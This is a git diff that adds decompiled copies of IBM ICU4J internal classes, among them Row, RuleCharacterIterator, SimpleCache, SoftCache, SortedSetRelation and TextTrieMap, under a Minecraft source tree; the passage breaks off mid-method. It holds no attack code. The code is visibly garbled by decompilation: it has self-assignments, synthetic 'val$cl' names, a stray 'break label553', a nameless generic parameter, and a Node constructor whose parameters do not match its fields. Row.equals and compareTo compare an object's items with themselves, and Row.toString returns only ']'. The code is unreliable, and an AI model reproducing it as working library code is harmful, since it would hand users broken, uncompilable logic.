+      root = Utility.getFallbackClassLoader();
+    }
+    ClassLoader cl = root;
+    String name = baseName;
+    ULocale defaultLocale = ULocale.getDefault();
+    if (localeID.length() != 0) {
+      name = name + "_" + localeID;
+    }
+    
+    ResourceBundleWrapper b = (ResourceBundleWrapper)loadFromCache(cl, name, defaultLocale);
+    if (b == null) {
+      ResourceBundleWrapper parent = null;
+      int i = localeID.lastIndexOf('_');
+      
+      boolean loadFromProperties = false;
+      if (i != -1) {
+        String locName = localeID.substring(0, i);
+        parent = (ResourceBundleWrapper)loadFromCache(cl, baseName + "_" + locName, defaultLocale);
+        if (parent == null) {
+          parent = (ResourceBundleWrapper)instantiateBundle(baseName, locName, cl, disableFallback);
+        }
+      } else if (localeID.length() > 0) {
+        parent = (ResourceBundleWrapper)loadFromCache(cl, baseName, defaultLocale);
+        if (parent == null) {
+          parent = (ResourceBundleWrapper)instantiateBundle(baseName, "", cl, disableFallback);
+        }
+      }
+      try {
+        Class<? extends ResourceBundle> cls = cl.loadClass(name).asSubclass(ResourceBundle.class);
+        ResourceBundle bx = (ResourceBundle)cls.newInstance();
+        b = new ResourceBundleWrapper(bx);
+        if (parent != null) {
+          b.setParent(parent);
+        }
+        baseName = baseName;
+        localeID = localeID;
+      }
+      catch (ClassNotFoundException e) {
+        loadFromProperties = true;
+      } catch (NoClassDefFoundError e) {
+        loadFromProperties = true;
+      } catch (Exception e) {
+        if (DEBUG)
+          System.out.println("failure");
+        if (DEBUG) {
+          System.out.println(e);
+        }
+      }
+      if (loadFromProperties) {
+        try {
+          final String resName = name.replace('.', '/') + ".properties";
+          InputStream stream = (InputStream)AccessController.doPrivileged(new PrivilegedAction()
+          {
+            public InputStream run() {
+              if (val$cl != null) {
+                return val$cl.getResourceAsStream(resName);
+              }
+              return ClassLoader.getSystemResourceAsStream(resName);
+            }
+          });
+          
+
+          if (stream != null)
+          {
+            stream = new BufferedInputStream(stream);
+            try {
+              b = new ResourceBundleWrapper(new PropertyResourceBundle(stream));
+              if (parent != null) {
+                b.setParent(parent);
+              }
+              baseName = baseName;
+              localeID = localeID;
+              
+
+              try
+              {
+                stream.close();
+              }
+              catch (Exception ex) {}
+              
+
+
+
+
+
+              if (b != null) {
+                break label553;
+              }
+            }
+            catch (Exception ex) {}finally
+            {
+              try
+              {
+                stream.close();
+              }
+              catch (Exception ex) {}
+            }
+          }
+          
+
+
+
+
+          String defaultName = defaultLocale.toString();
+          if ((localeID.length() > 0) && (localeID.indexOf('_') < 0) && (defaultName.indexOf(localeID) == -1)) {
+            b = (ResourceBundleWrapper)loadFromCache(cl, baseName + "_" + defaultName, defaultLocale);
+            if (b == null) {
+              b = (ResourceBundleWrapper)instantiateBundle(baseName, defaultName, cl, disableFallback);
+            }
+          }
+          
+          label553:
+          if (b == null) {
+            b = parent;
+          }
+        } catch (Exception e) {
+          if (DEBUG)
+            System.out.println("failure");
+          if (DEBUG)
+            System.out.println(e);
+        }
+      }
+      b = (ResourceBundleWrapper)addToCache(cl, name, defaultLocale, b);
+    }
+    
+    if (b != null) {
+      b.initKeysVector();
+    }
+    else if (DEBUG) { System.out.println("Returning null for " + baseName + "_" + localeID);
+    }
+    
+    return b;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Row.java b/src/minecraft/com/ibm/icu/impl/Row.java
new file mode 100644
index 0000000..4bb9125
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Row.java
@@ -0,0 +1,188 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.Freezable;
+
+
+
+
+
+
+
+
+
+
+public class Row<C0, C1, C2, C3, C4>
+  implements Comparable, Cloneable, Freezable<Row<C0, C1, C2, C3, C4>>
+{
+  protected Object[] items;
+  protected boolean frozen;
+  
+  public Row() {}
+  
+  public static <C0, C1> R2<C0, C1> of(C0 p0, C1 p1)
+  {
+    return new R2(p0, p1);
+  }
+  
+  public static <C0, C1, C2> R3<C0, C1, C2> of(C0 p0, C1 p1, C2 p2) { return new R3(p0, p1, p2); }
+  
+  public static <C0, C1, C2, C3> R4<C0, C1, C2, C3> of(C0 p0, C1 p1, C2 p2, C3 p3) {
+    return new R4(p0, p1, p2, p3);
+  }
+  
+  public static <C0, C1, C2, C3, C4> R5<C0, C1, C2, C3, C4> of(C0 p0, C1 p1, C2 p2, C3 p3, C4 p4) { return new R5(p0, p1, p2, p3, p4); }
+  
+  public static class R2<C0, C1> extends Row<C0, C1, C1, C1, C1>
+  {
+    public R2(C0 a, C1 b) {
+      items = new Object[] { a, b };
+    }
+  }
+  
+  public static class R3<C0, C1, C2> extends Row<C0, C1, C2, C2, C2> {
+    public R3(C0 a, C1 b, C2 c) { items = new Object[] { a, b, c }; }
+  }
+  
+  public static class R4<C0, C1, C2, C3> extends Row<C0, C1, C2, C3, C3> {
+    public R4(C0 a, C1 b, C2 c, C3 d) {
+      items = new Object[] { a, b, c, d };
+    }
+  }
+  
+  public static class R5<C0, C1, C2, C3, C4> extends Row<C0, C1, C2, C3, C4> {
+    public R5(C0 a, C1 b, C2 c, C3 d, C4 e) { items = new Object[] { a, b, c, d, e }; }
+  }
+  
+  public Row<C0, C1, C2, C3, C4> set0(C0 item)
+  {
+    return set(0, item);
+  }
+  
+  public C0 get0() { return items[0]; }
+  
+  public Row<C0, C1, C2, C3, C4> set1(C1 item) {
+    return set(1, item);
+  }
+  
+  public C1 get1() { return items[1]; }
+  
+  public Row<C0, C1, C2, C3, C4> set2(C2 item) {
+    return set(2, item);
+  }
+  
+  public C2 get2() { return items[2]; }
+  
+  public Row<C0, C1, C2, C3, C4> set3(C3 item) {
+    return set(3, item);
+  }
+  
+  public C3 get3() { return items[3]; }
+  
+  public Row<C0, C1, C2, C3, C4> set4(C4 item) {
+    return set(4, item);
+  }
+  
+  public C4 get4() { return items[4]; }
+  
+  protected Row<C0, C1, C2, C3, C4> set(int i, Object item)
+  {
+    if (frozen) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    items[i] = item;
+    return this;
+  }
+  
+  public int hashCode() {
+    int sum = items.length;
+    for (Object item : items) {
+      sum = sum * 37 + Utility.checkHash(item);
+    }
+    return sum;
+  }
+  
+  public boolean equals(Object other) {
+    if (other == null) {
+      return false;
+    }
+    if (this == other) {
+      return true;
+    }
+    try {
+      Row<C0, C1, C2, C3, C4> that = (Row)other;
+      if (items.length != items.length) {
+        return false;
+      }
+      int i = 0;
+      for (Object item : items) {
+        if (!Utility.objectEquals(item, items[(i++)])) {
+          return false;
+        }
+      }
+      return true;
+    } catch (Exception e) {}
+    return false;
+  }
+  
+
+  public int compareTo(Object other)
+  {
+    Row<C0, C1, C2, C3, C4> that = (Row)other;
+    int result = items.length - items.length;
+    if (result != 0) {
+      return result;
+    }
+    int i = 0;
+    for (Object item : items) {
+      result = Utility.checkCompare((Comparable)item, (Comparable)items[(i++)]);
+      if (result != 0) {
+        return result;
+      }
+    }
+    return 0;
+  }
+  
+  public String toString() {
+    StringBuilder result = new StringBuilder("[");
+    boolean first = true;
+    for (Object item : items) {
+      if (first) {
+        first = false;
+      } else {
+        result.append(", ");
+      }
+      result.append(item);
+    }
+    return "]";
+  }
+  
+  public boolean isFrozen() {
+    return frozen;
+  }
+  
+  public Row<C0, C1, C2, C3, C4> freeze() {
+    frozen = true;
+    return this;
+  }
+  
+  public Object clone() {
+    if (frozen) return this;
+    try {
+      Row<C0, C1, C2, C3, C4> result = (Row)super.clone();
+      items = ((Object[])items.clone());
+      return result;
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+  
+  public Row<C0, C1, C2, C3, C4> cloneAsThawed()
+  {
+    try {
+      Row<C0, C1, C2, C3, C4> result = (Row)super.clone();
+      items = ((Object[])items.clone());
+      frozen = false;
+      return result;
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/RuleCharacterIterator.java b/src/minecraft/com/ibm/icu/impl/RuleCharacterIterator.java
new file mode 100644
index 0000000..27fa7e1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/RuleCharacterIterator.java
@@ -0,0 +1,345 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.SymbolTable;
+import com.ibm.icu.text.UTF16;
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RuleCharacterIterator
+{
+  private String text;
+  private ParsePosition pos;
+  private SymbolTable sym;
+  private char[] buf;
+  private int bufPos;
+  private boolean isEscaped;
+  public static final int DONE = -1;
+  public static final int PARSE_VARIABLES = 1;
+  public static final int PARSE_ESCAPES = 2;
+  public static final int SKIP_WHITESPACE = 4;
+  
+  public RuleCharacterIterator(String text, SymbolTable sym, ParsePosition pos)
+  {
+    if ((text == null) || (pos.getIndex() > text.length())) {
+      throw new IllegalArgumentException();
+    }
+    this.text = text;
+    this.sym = sym;
+    this.pos = pos;
+    buf = null;
+  }
+  
+
+
+  public boolean atEnd()
+  {
+    return (buf == null) && (pos.getIndex() == text.length());
+  }
+  
+
+
+
+
+
+
+
+  public int next(int options)
+  {
+    int c = -1;
+    isEscaped = false;
+    do {
+      for (;;) {
+        c = _current();
+        _advance(UTF16.getCharCount(c));
+        
+        if ((c != 36) || (buf != null) || ((options & 0x1) == 0) || (sym == null))
+          break;
+        String name = sym.parseReference(text, pos, text.length());
+        
+
+        if (name == null) {
+          return c;
+        }
+        bufPos = 0;
+        buf = sym.lookup(name);
+        if (buf == null) {
+          throw new IllegalArgumentException("Undefined variable: " + name);
+        }
+        
+
+        if (buf.length == 0) {
+          buf = null;
+        }
+        
+      }
+      
+    } while (((options & 0x4) != 0) && (PatternProps.isWhiteSpace(c)));
+    
+
+
+
+    if ((c == 92) && ((options & 0x2) != 0)) {
+      int[] offset = { 0 };
+      c = Utility.unescapeAt(lookahead(), offset);
+      jumpahead(offset[0]);
+      isEscaped = true;
+      if (c < 0) {
+        throw new IllegalArgumentException("Invalid escape");
+      }
+    }
+    
+
+
+
+    return c;
+  }
+  
+
+
+
+
+
+  public boolean isEscaped()
+  {
+    return isEscaped;
+  }
+  
+
+
+  public boolean inVariable()
+  {
+    return buf != null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object getPos(Object p)
+  {
+    if (p == null) {
+      return new Object[] { buf, { pos.getIndex(), bufPos } };
+    }
+    Object[] a = (Object[])p;
+    a[0] = buf;
+    int[] v = (int[])a[1];
+    v[0] = pos.getIndex();
+    v[1] = bufPos;
+    return p;
+  }
+  
+
+
+
+
+  public void setPos(Object p)
+  {
+    Object[] a = (Object[])p;
+    buf = ((char[])a[0]);
+    int[] v = (int[])a[1];
+    pos.setIndex(v[0]);
+    bufPos = v[1];
+  }
+  
+
+
+
+
+
+
+
+  public void skipIgnored(int options)
+  {
+    if ((options & 0x4) != 0) {
+      for (;;) {
+        int a = _current();
+        if (!PatternProps.isWhiteSpace(a)) break;
+        _advance(UTF16.getCharCount(a));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String lookahead()
+  {
+    if (buf != null) {
+      return new String(buf, bufPos, buf.length - bufPos);
+    }
+    return text.substring(pos.getIndex());
+  }
+  
+
+
+
+
+
+  public void jumpahead(int count)
+  {
+    if (count < 0) {
+      throw new IllegalArgumentException();
+    }
+    if (buf != null) {
+      bufPos += count;
+      if (bufPos > buf.length) {
+        throw new IllegalArgumentException();
+      }
+      if (bufPos == buf.length) {
+        buf = null;
+      }
+    } else {
+      int i = pos.getIndex() + count;
+      pos.setIndex(i);
+      if (i > text.length()) {
+        throw new IllegalArgumentException();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    int b = pos.getIndex();
+    return text.substring(0, b) + '|' + text.substring(b);
+  }
+  
+
+
+
+
+  private int _current()
+  {
+    if (buf != null) {
+      return UTF16.charAt(buf, 0, buf.length, bufPos);
+    }
+    int i = pos.getIndex();
+    return i < text.length() ? UTF16.charAt(text, i) : -1;
+  }
+  
+
+
+
+
+  private void _advance(int count)
+  {
+    if (buf != null) {
+      bufPos += count;
+      if (bufPos == buf.length) {
+        buf = null;
+      }
+    } else {
+      pos.setIndex(pos.getIndex() + count);
+      if (pos.getIndex() > text.length()) {
+        pos.setIndex(text.length());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/SimpleCache.java b/src/minecraft/com/ibm/icu/impl/SimpleCache.java
new file mode 100644
index 0000000..5380eff
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/SimpleCache.java
@@ -0,0 +1,72 @@
+package com.ibm.icu.impl;
+
+import java.lang.ref.Reference;
+import java.lang.ref.SoftReference;
+import java.lang.ref.WeakReference;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+public class SimpleCache<K, V>
+  implements ICUCache<K, V>
+{
+  private static final int DEFAULT_CAPACITY = 16;
+  private Reference<Map<K, V>> cacheRef = null;
+  private int type = 0;
+  private int capacity = 16;
+  
+  public SimpleCache() {}
+  
+  public SimpleCache(int cacheType)
+  {
+    this(cacheType, 16);
+  }
+  
+  public SimpleCache(int cacheType, int initialCapacity) {
+    if (cacheType == 1) {
+      type = cacheType;
+    }
+    if (initialCapacity > 0) {
+      capacity = initialCapacity;
+    }
+  }
+  
+  public V get(Object key) {
+    Reference<Map<K, V>> ref = cacheRef;
+    if (ref != null) {
+      Map<K, V> map = (Map)ref.get();
+      if (map != null) {
+        return map.get(key);
+      }
+    }
+    return null;
+  }
+  
+  public void put(K key, V value) {
+    Reference<Map<K, V>> ref = cacheRef;
+    Map<K, V> map = null;
+    if (ref != null) {
+      map = (Map)ref.get();
+    }
+    if (map == null) {
+      map = Collections.synchronizedMap(new HashMap(capacity));
+      if (type == 1) {
+        ref = new WeakReference(map);
+      } else {
+        ref = new SoftReference(map);
+      }
+      cacheRef = ref;
+    }
+    map.put(key, value);
+  }
+  
+  public void clear() {
+    cacheRef = null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/SoftCache.java b/src/minecraft/com/ibm/icu/impl/SoftCache.java
new file mode 100644
index 0000000..6f068f1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/SoftCache.java
@@ -0,0 +1,104 @@
+package com.ibm.icu.impl;
+
+import java.lang.ref.SoftReference;
+import java.util.concurrent.ConcurrentHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SoftCache<K, V, D>
+  extends CacheBase<K, V, D>
+{
+  public SoftCache() {}
+  
+  public final V getInstance(K key, D data)
+  {
+    SettableSoftReference<V> valueRef = (SettableSoftReference)map.get(key);
+    
+    if (valueRef != null) {
+      synchronized (valueRef) {
+        value = ref.get();
+        if (value != null) {
+          return value;
+        }
+        
+
+        value = createInstance(key, data);
+        if (value != null) {
+          ref = new SoftReference(value);
+        }
+        return value;
+      }
+    }
+    
+
+    V value = createInstance(key, data);
+    if (value == null) {
+      return null;
+    }
+    valueRef = (SettableSoftReference)map.putIfAbsent(key, new SettableSoftReference(value, null));
+    if (valueRef == null)
+    {
+      return value;
+    }
+    
+
+
+    return valueRef.setIfAbsent(value);
+  }
+  
+
+
+  private static final class SettableSoftReference<V>
+  {
+    private SoftReference<V> ref;
+    
+
+
+    private SettableSoftReference(V value)
+    {
+      ref = new SoftReference(value);
+    }
+    
+
+
+
+
+
+    private synchronized V setIfAbsent(V value)
+    {
+      V oldValue = ref.get();
+      if (oldValue == null) {
+        ref = new SoftReference(value);
+        return value;
+      }
+      return oldValue;
+    }
+  }
+  
+
+  private ConcurrentHashMap<K, SettableSoftReference<V>> map = new ConcurrentHashMap();
+}
diff --git a/src/minecraft/com/ibm/icu/impl/SortedSetRelation.java b/src/minecraft/com/ibm/icu/impl/SortedSetRelation.java
new file mode 100644
index 0000000..0c2de49
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/SortedSetRelation.java
@@ -0,0 +1,179 @@
+package com.ibm.icu.impl;
+
+import java.util.Iterator;
+import java.util.SortedSet;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SortedSetRelation
+{
+  public static final int A_NOT_B = 4;
+  public static final int A_AND_B = 2;
+  public static final int B_NOT_A = 1;
+  public static final int ANY = 7;
+  public static final int CONTAINS = 6;
+  public static final int DISJOINT = 5;
+  public static final int ISCONTAINED = 3;
+  public static final int NO_B = 4;
+  public static final int EQUALS = 2;
+  public static final int NO_A = 1;
+  public static final int NONE = 0;
+  public static final int ADDALL = 7;
+  public static final int A = 6;
+  public static final int COMPLEMENTALL = 5;
+  public static final int B = 3;
+  public static final int REMOVEALL = 4;
+  public static final int RETAINALL = 2;
+  public static final int B_REMOVEALL = 1;
+  
+  public SortedSetRelation() {}
+  
+  public static <T,  extends Comparable<? super T>> boolean hasRelation(SortedSet<T> a, int allow, SortedSet<T> b)
+  {
+    if ((allow < 0) || (allow > 7)) {
+      throw new IllegalArgumentException("Relation " + allow + " out of range");
+    }
+    
+
+
+
+    boolean anb = (allow & 0x4) != 0;
+    boolean ab = (allow & 0x2) != 0;
+    boolean bna = (allow & 0x1) != 0;
+    
+
+    switch (allow) {
+    case 6:  if (a.size() < b.size()) return false;
+      break; case 3:  if (a.size() > b.size()) return false;
+      break; case 2:  if (a.size() != b.size()) { return false;
+      }
+      break;
+    }
+    if (a.size() == 0) {
+      if (b.size() == 0) return true;
+      return bna; }
+    if (b.size() == 0) {
+      return anb;
+    }
+    
+
+    Iterator<? extends T> ait = a.iterator();
+    Iterator<? extends T> bit = b.iterator();
+    
+    T aa = ait.next();
+    T bb = bit.next();
+    for (;;)
+    {
+      int comp = ((Comparable)aa).compareTo(bb);
+      if (comp == 0) {
+        if (!ab) return false;
+        if (!ait.hasNext()) {
+          if (!bit.hasNext()) return true;
+          return bna; }
+        if (!bit.hasNext()) {
+          return anb;
+        }
+        aa = ait.next();
+        bb = bit.next();
+      } else if (comp < 0) {
+        if (!anb) return false;
+        if (!ait.hasNext()) {
+          return bna;
+        }
+        aa = ait.next();
+      } else {
+        if (!bna) return false;
+        if (!bit.hasNext()) {
+          return anb;
+        }
+        bb = bit.next();
+      }
+    }
+  }
+  
+
+
+
+
+  public static <T,  extends Comparable<? super T>> SortedSet<? extends T> doOperation(SortedSet<T> a, int relation, SortedSet<T> b)
+  {
+    TreeSet<? extends T> temp;
+    
+
+
+
+    switch (relation) {
+    case 7: 
+      a.addAll(b);
+      return a;
+    case 6: 
+      return a;
+    case 3: 
+      a.clear();
+      a.addAll(b);
+      return a;
+    case 4: 
+      a.removeAll(b);
+      return a;
+    case 2: 
+      a.retainAll(b);
+      return a;
+    
+
+    case 5: 
+      temp = new TreeSet(b);
+      temp.removeAll(a);
+      a.removeAll(b);
+      a.addAll(temp);
+      return a;
+    case 1: 
+      temp = new TreeSet(b);
+      temp.removeAll(a);
+      a.clear();
+      a.addAll(temp);
+      return a;
+    case 0: 
+      a.clear();
+      return a;
+    }
+    throw new IllegalArgumentException("Relation " + relation + " out of range");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/StringPrepDataReader.java b/src/minecraft/com/ibm/icu/impl/StringPrepDataReader.java
new file mode 100644
index 0000000..5a2dc9d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/StringPrepDataReader.java
@@ -0,0 +1,98 @@
+package com.ibm.icu.impl;
+
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class StringPrepDataReader
+  implements ICUBinary.Authenticate
+{
+  private static final boolean debug = ICUDebug.enabled("NormalizerDataReader");
+  
+  private DataInputStream dataInputStream;
+  
+  private byte[] unicodeVersion;
+  
+  public StringPrepDataReader(InputStream inputStream)
+    throws IOException
+  {
+    if (debug) { System.out.println("Bytes in inputStream " + inputStream.available());
+    }
+    unicodeVersion = ICUBinary.readHeader(inputStream, DATA_FORMAT_ID, this);
+    
+    if (debug) { System.out.println("Bytes left in inputStream " + inputStream.available());
+    }
+    dataInputStream = new DataInputStream(inputStream);
+    
+    if (debug) { System.out.println("Bytes left in dataInputStream " + dataInputStream.available());
+    }
+  }
+  
+
+  public void read(byte[] idnaBytes, char[] mappingTable)
+    throws IOException
+  {
+    dataInputStream.readFully(idnaBytes);
+    
+
+    for (int i = 0; i < mappingTable.length; i++) {
+      mappingTable[i] = dataInputStream.readChar();
+    }
+  }
+  
+  public byte[] getDataFormatVersion() {
+    return DATA_FORMAT_VERSION;
+  }
+  
+  public boolean isDataVersionAcceptable(byte[] version) {
+    return (version[0] == DATA_FORMAT_VERSION[0]) && (version[2] == DATA_FORMAT_VERSION[2]) && (version[3] == DATA_FORMAT_VERSION[3]);
+  }
+  
+  public int[] readIndexes(int length) throws IOException
+  {
+    int[] indexes = new int[length];
+    
+    for (int i = 0; i < length; i++) {
+      indexes[i] = dataInputStream.readInt();
+    }
+    return indexes;
+  }
+  
+  public byte[] getUnicodeVersion() {
+    return unicodeVersion;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] DATA_FORMAT_ID = { 83, 80, 82, 80 };
+  
+  private static final byte[] DATA_FORMAT_VERSION = { 3, 2, 5, 2 };
+}
diff --git a/src/minecraft/com/ibm/icu/impl/StringUCharacterIterator.java b/src/minecraft/com/ibm/icu/impl/StringUCharacterIterator.java
new file mode 100644
index 0000000..e497adf
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/StringUCharacterIterator.java
@@ -0,0 +1,214 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.text.UCharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class StringUCharacterIterator
+  extends UCharacterIterator
+{
+  private String m_text_;
+  private int m_currentIndex_;
+  
+  public StringUCharacterIterator(String str)
+  {
+    if (str == null) {
+      throw new IllegalArgumentException();
+    }
+    m_text_ = str;
+    m_currentIndex_ = 0;
+  }
+  
+
+
+
+  public StringUCharacterIterator()
+  {
+    m_text_ = "";
+    m_currentIndex_ = 0;
+  }
+  
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return super.clone();
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+  public int current()
+  {
+    if (m_currentIndex_ < m_text_.length()) {
+      return m_text_.charAt(m_currentIndex_);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+  public int getLength()
+  {
+    return m_text_.length();
+  }
+  
+
+
+
+
+  public int getIndex()
+  {
+    return m_currentIndex_;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int next()
+  {
+    if (m_currentIndex_ < m_text_.length())
+    {
+      return m_text_.charAt(m_currentIndex_++);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int previous()
+  {
+    if (m_currentIndex_ > 0) {
+      return m_text_.charAt(--m_currentIndex_);
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  public void setIndex(int currentIndex)
+    throws IndexOutOfBoundsException
+  {
+    if ((currentIndex < 0) || (currentIndex > m_text_.length())) {
+      throw new IndexOutOfBoundsException();
+    }
+    m_currentIndex_ = currentIndex;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getText(char[] fillIn, int offset)
+  {
+    int length = m_text_.length();
+    if ((offset < 0) || (offset + length > fillIn.length)) {
+      throw new IndexOutOfBoundsException(Integer.toString(length));
+    }
+    m_text_.getChars(0, length, fillIn, offset);
+    return length;
+  }
+  
+
+
+
+
+
+  public String getText()
+  {
+    return m_text_;
+  }
+  
+
+
+
+
+
+
+
+  public void setText(String text)
+  {
+    if (text == null) {
+      throw new NullPointerException();
+    }
+    m_text_ = text;
+    m_currentIndex_ = 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/TextTrieMap.java b/src/minecraft/com/ibm/icu/impl/TextTrieMap.java
new file mode 100644
index 0000000..c954606
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/TextTrieMap.java
@@ -0,0 +1,385 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+public class TextTrieMap<V>
+{
+  private TextTrieMap<V>.Node _root = new Node(null);
+  
+
+  boolean _ignoreCase;
+  
+
+
+  public TextTrieMap(boolean ignoreCase)
+  {
+    _ignoreCase = ignoreCase;
+  }
+  
+
+
+
+
+
+  public TextTrieMap<V> put(CharSequence text, V val)
+  {
+    CharIterator chitr = new CharIterator(text, 0, _ignoreCase);
+    _root.add(chitr, val);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public Iterator<V> get(String text)
+  {
+    return get(text, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Iterator<V> get(CharSequence text, int start)
+  {
+    return get(text, start, null);
+  }
+  
+  public Iterator<V> get(CharSequence text, int start, int[] matchLen) {
+    LongestMatchHandler<V> handler = new LongestMatchHandler(null);
+    find(text, start, handler);
+    if ((matchLen != null) && (matchLen.length > 0)) {
+      matchLen[0] = handler.getMatchLength();
+    }
+    return handler.getMatches();
+  }
+  
+  public void find(CharSequence text, ResultHandler<V> handler) {
+    find(text, 0, handler);
+  }
+  
+  public void find(CharSequence text, int offset, ResultHandler<V> handler) {
+    CharIterator chitr = new CharIterator(text, offset, _ignoreCase);
+    find(_root, chitr, handler);
+  }
+  
+  private synchronized void find(TextTrieMap<V>.Node node, CharIterator chitr, ResultHandler<V> handler) {
+    Iterator<V> values = node.values();
+    if ((values != null) && 
+      (!handler.handlePrefixMatch(chitr.processedLength(), values))) {
+      return;
+    }
+    
+
+    TextTrieMap<V>.Node nextMatch = node.findMatch(chitr);
+    if (nextMatch != null) {
+      find(nextMatch, chitr, handler);
+    }
+  }
+  
+  public static class CharIterator implements Iterator<Character>
+  {
+    private boolean _ignoreCase;
+    private CharSequence _text;
+    private int _nextIdx;
+    private int _startIdx;
+    private Character _remainingChar;
+    
+    CharIterator(CharSequence text, int offset, boolean ignoreCase) {
+      _text = text;
+      _nextIdx = (this._startIdx = offset);
+      _ignoreCase = ignoreCase;
+    }
+    
+
+
+    public boolean hasNext()
+    {
+      if ((_nextIdx == _text.length()) && (_remainingChar == null)) {
+        return false;
+      }
+      return true;
+    }
+    
+
+
+    public Character next()
+    {
+      if ((_nextIdx == _text.length()) && (_remainingChar == null)) {
+        return null;
+      }
+      Character next;
+      if (_remainingChar != null) {
+        Character next = _remainingChar;
+        _remainingChar = null;
+      }
+      else if (_ignoreCase) {
+        int cp = UCharacter.foldCase(Character.codePointAt(_text, _nextIdx), true);
+        _nextIdx += Character.charCount(cp);
+        
+        char[] chars = Character.toChars(cp);
+        Character next = Character.valueOf(chars[0]);
+        if (chars.length == 2) {
+          _remainingChar = Character.valueOf(chars[1]);
+        }
+      } else {
+        next = Character.valueOf(_text.charAt(_nextIdx));
+        _nextIdx += 1;
+      }
+      
+      return next;
+    }
+    
+
+
+    public void remove()
+    {
+      throw new UnsupportedOperationException("remove() not supproted");
+    }
+    
+    public int nextIndex() {
+      return _nextIdx;
+    }
+    
+    public int processedLength() {
+      if (_remainingChar != null) {
+        throw new IllegalStateException("In the middle of surrogate pair");
+      }
+      return _nextIdx - _startIdx;
+    }
+  }
+  
+
+
+  public static abstract interface ResultHandler<V>
+  {
+    public abstract boolean handlePrefixMatch(int paramInt, Iterator<V> paramIterator);
+  }
+  
+
+
+  private static class LongestMatchHandler<V>
+    implements TextTrieMap.ResultHandler<V>
+  {
+    private LongestMatchHandler() {}
+    
+
+
+    private Iterator<V> matches = null;
+    private int length = 0;
+    
+    public boolean handlePrefixMatch(int matchLength, Iterator<V> values) {
+      if (matchLength > length) {
+        length = matchLength;
+        matches = values;
+      }
+      return true;
+    }
+    
+    public Iterator<V> getMatches() {
+      return matches;
+    }
+    
+    public int getMatchLength() {
+      return length;
+    }
+  }
+  
+
+  private class Node
+  {
+    private char[] _text;
+    
+    private List<V> _values;
+    private List<TextTrieMap<V>.Node> _children;
+    
+    private Node() {}
+    
+    private Node(List<V> text, List<TextTrieMap<V>.Node> values)
+    {
+      _text = text;
+      _values = values;
+      _children = children;
+    }
+    
+    public Iterator<V> values() {
+      if (_values == null) {
+        return null;
+      }
+      return _values.iterator();
+    }
+    
+    public void add(TextTrieMap.CharIterator chitr, V value) {
+      StringBuilder buf = new StringBuilder();
+      while (chitr.hasNext()) {
+        buf.append(chitr.next());
+      }
+      add(TextTrieMap.toCharArray(buf), 0, value);
+    }
+    
+    public TextTrieMap<V>.Node findMatch(TextTrieMap.CharIterator chitr) {
+      if (_children == null) {
+        return null;
+      }
+      if (!chitr.hasNext()) {
+        return null;
+      }
+      TextTrieMap<V>.Node match = null;
+      Character ch = chitr.next();
+      for (TextTrieMap<V>.Node child : _children) {
+        if (ch.charValue() < _text[0]) {
+          break;
+        }
+        if (ch.charValue() == _text[0]) {
+          if (!child.matchFollowing(chitr)) break;
+          match = child; break;
+        }
+      }
+      
+
+      return match;
+    }
+    
+    private void add(char[] text, int offset, V value) {
+      if (text.length == offset) {
+        _values = addValue(_values, value);
